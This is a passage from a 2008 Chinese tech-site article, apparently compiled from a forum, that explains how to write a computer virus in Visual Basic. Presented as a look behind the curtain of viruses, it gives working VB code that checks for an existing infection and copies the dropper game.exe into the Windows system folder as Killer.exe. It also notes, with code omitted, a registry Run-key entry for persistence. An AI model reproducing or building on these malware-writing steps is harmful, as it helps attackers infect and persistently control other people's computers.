科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道了解VB编写病毒的大体方法

了解VB编写病毒的大体方法

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱。

作者:论坛整理 来源:zdnet网络安全 2008年3月12日

关键字: 病毒 防病毒 病毒防范 反病毒 木马 杀毒软件

  • 评论
  • 分享微博
  • 分享邮件

在本页阅读全文(共2页)

相信电脑界的每个人都痛恨计算机病毒,她给我们带来了很多麻烦和损失,可你知道编写病毒的方法和过程吗?在此我仅以VB编写为例,揭开她的面纱。

用VB编写病毒需要考虑到如下几点:

感染主机

首先染毒文件运行后先要判断主机是否以感染病毒,也就是判断病毒主体文件是否存在,如果不存在则将病毒主体拷贝到指定位置(如:将病毒文件拷贝到c:\windows\system\),可用filecopy语句实现;如果病毒已感染主机则结束判断。

例如,判断C:\windows\system\Killer.exe是否存在,如果有则退出判断,如果没有则证明本机未感染病毒,立即拷入病毒文件。

病毒源文件名为game.exe。

声明部分:

""定义 FileExists% 函数

public success%

Function FileExists%(fname$)

On Local Error Resume Next

Dim ff%

ff% = FreeFile

Open fname$ For Input As ff%

If Err Then

FileExists% = False

Else

FileExists% = True

End If

Close ff%

End Function

代码部分:

""判断文件是否存在

success% = FileExists%("C:\windows\system\Killer.exe")

If success% = False Then ""病毒不存在则拷贝病毒到计算机

FileCopy "game.exe", "C:\windows\system\Killer.exe"

... ""修改注册表,将其加入RUN中。(省略若干代码)

End If

    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章